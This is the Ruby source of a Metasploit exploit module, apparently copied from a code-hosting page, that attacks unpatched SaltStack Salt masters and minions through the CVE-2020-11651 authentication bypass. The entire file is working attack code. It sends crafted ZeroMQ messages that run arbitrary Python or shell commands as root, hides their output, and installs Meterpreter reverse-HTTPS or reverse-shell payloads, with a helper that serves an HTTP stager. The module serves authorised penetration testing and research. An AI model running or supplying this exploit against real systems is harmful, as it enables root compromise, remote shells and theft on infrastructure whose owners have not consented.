Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = GreatRanking89include Msf::Exploit::Remote::ZeroMQ10include Msf::Exploit::Remote::CheckModule11include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',19'Description' => %q{20This module exploits unauthenticated access to the runner() and21_send_pub() methods in the SaltStack Salt master's ZeroMQ request22server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to23execute code as root on either the master or on select minions.2425VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as26well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual27Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,281.3, 1.5, and 1.6 in certain configurations, are known to be affected29by the Salt vulnerabilities.3031Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as32well as Vulhub's Docker image.33},34'Author' => [35'F-Secure', # Discovery36'wvu' # Module37],38'References' => [39['CVE', '2020-11651'], # Auth bypass (used by this module)40['CVE', '2020-11652'], # Authed directory traversals (not used here)41['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],42['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],43['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],44['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],45['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']46],47'DisclosureDate' => '2020-04-30', # F-Secure advisory48'License' => MSF_LICENSE,49'Platform' => ['python', 'unix'],50'Arch' => [ARCH_PYTHON, ARCH_CMD],51'Privileged' => true,52'Targets' => [53[54'Master (Python payload)',55{56'Description' => 'Executing Python payload on the master',57'Platform' => 'python',58'Arch' => ARCH_PYTHON,59'Type' => :python,60'DefaultOptions' => {61'PAYLOAD' => 'python/meterpreter/reverse_https'62}63}64],65[66'Master (Unix command)',67{68'Description' => 'Executing Unix command on the master',69'Platform' => 'unix',70'Arch' => ARCH_CMD,71'Type' => :unix_cmd,72'DefaultOptions' => {73'PAYLOAD' => 'cmd/unix/reverse_python_ssl'74}75}76],77[78'Minions (Python payload)',79{80'Description' => 'Executing Python payload on the minions',81'Platform' => 'python',82'Arch' => ARCH_PYTHON,83'Type' => :python,84'DefaultOptions' => {85'PAYLOAD' => 'python/meterpreter/reverse_https'86}87}88],89[90'Minions (Unix command)',91{92'Description' => 'Executing Unix command on the minions',93'Platform' => 'unix',94'Arch' => ARCH_CMD,95'Type' => :unix_cmd,96'DefaultOptions' => {97# cmd/unix/reverse_python_ssl crashes in this target98'PAYLOAD' => 'cmd/unix/reverse_python'99}100}101]102],103'DefaultTarget' => 0, # Defaults to master for safety104'DefaultOptions' => {105'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'106},107'Notes' => {108'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service109'Reliability' => [REPEATABLE_SESSION],110'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]111}112)113)114115register_options([116Opt::RPORT(4506),117OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),118OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])119])120121register_advanced_options([122OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])123])124end125126# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key127128def exploit129if target.name.start_with?('Master')130if (root_key = datastore['ROOT_KEY'])131print_status("User-specified root key: #{root_key}")132else133# check.reason is from auxiliary/gather/saltstack_salt_root_key134root_key = check.reason135end136137unless root_key138fail_with(Failure::BadConfig,139"#{target['Description']} requires a root key")140end141end142143# These are from Msf::Exploit::Remote::ZeroMQ144zmq_connect145zmq_negotiate146147print_status("#{target['Description']}: #{datastore['PAYLOAD']}")148149case target.name150when /^Master/151yeet_runner(root_key)152when /^Minions/153yeet_send_pub154end155156# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one157sleep(wfs_delay)158rescue EOFError, Rex::ConnectionError => e159print_error("#{e.class}: #{e.message}")160ensure161# This is from Msf::Exploit::Remote::ZeroMQ162zmq_disconnect163end164165def yeet_runner(root_key)166print_status("Yeeting runner() at #{peer}")167168# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951169# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951170runner = {171'cmd' => 'runner',172# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd173'fun' => 'salt.cmd',174'kwarg' => {175'hide_output' => true,176'ignore_retcode' => true,177'output_loglevel' => 'quiet'178},179'user' => 'root', # This is NOT the Unix user!180'key' => root_key # No JID needed, only the root key!181}182183case target['Type']184when :python185vprint_status("Executing Python code: #{payload.encoded}")186187# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code188runner['kwarg'].merge!(189'fun' => 'cmd.exec_code',190'lang' => payload.arch.first,191'code' => payload.encoded192)193when :unix_cmd194# HTTPS doesn't appear to be supported by the server :(195print_status("Serving intermediate stager over HTTP: #{cmdstager_start_service}")196197vprint_status("Executing Unix command: #{payload.encoded}")198199# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script200runner['kwarg'].merge!(201# cmd.run doesn't work due to a missing argument error, so we use this202'fun' => 'cmd.script',203'source' => get_uri,204'stdin' => payload.encoded205)206end207208vprint_status("Unserialized clear load: #{runner}")209zmq_send_message(serialize_clear_load(runner))210211unless (res = sock.get_once)212fail_with(Failure::Unknown, 'Did not receive runner() response')213end214215vprint_good("Received runner() response: #{res.inspect}")216end217218def yeet_send_pub219print_status("Yeeting _send_pub() at #{peer}")220221# NOTE: A unique JID (job ID) is needed for every published job222jid = generate_jid223224# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151225# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151226send_pub = {227'cmd' => '_send_pub',228'kwargs' => {229'bg' => true,230'hide_output' => true,231'ignore_retcode' => true,232'output_loglevel' => 'quiet',233'show_jid' => false,234'show_timeout' => false235},236'user' => 'root', # This is NOT the Unix user!237'tgt' => datastore['MINIONS'],238'tgt_type' => 'pcre',239'jid' => jid240}241242case target['Type']243when :python244vprint_status("Executing Python code: #{payload.encoded}")245246# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code247send_pub.merge!(248'fun' => 'cmd.exec_code',249'arg' => [payload.arch.first, payload.encoded]250)251when :unix_cmd252vprint_status("Executing Unix command: #{payload.encoded}")253254# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run255send_pub.merge!(256'fun' => 'cmd.run',257'arg' => [payload.encoded]258)259end260261vprint_status("Unserialized clear load: #{send_pub}")262zmq_send_message(serialize_clear_load(send_pub))263264unless (res = sock.get_once)265fail_with(Failure::Unknown, 'Did not receive _send_pub() response')266end267268vprint_good("Received _send_pub() response: #{res.inspect}")269270# NOTE: This path will likely change between platforms and distros271register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")272end273274# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py275# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py276def generate_jid277DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')278end279280# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP281def stager_instance282nil283end284285# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP286def exe287# NOTE: The shebang line is necessary in this case!288<<~SHELL289#!/bin/sh290/bin/sh291SHELL292end293294end295296297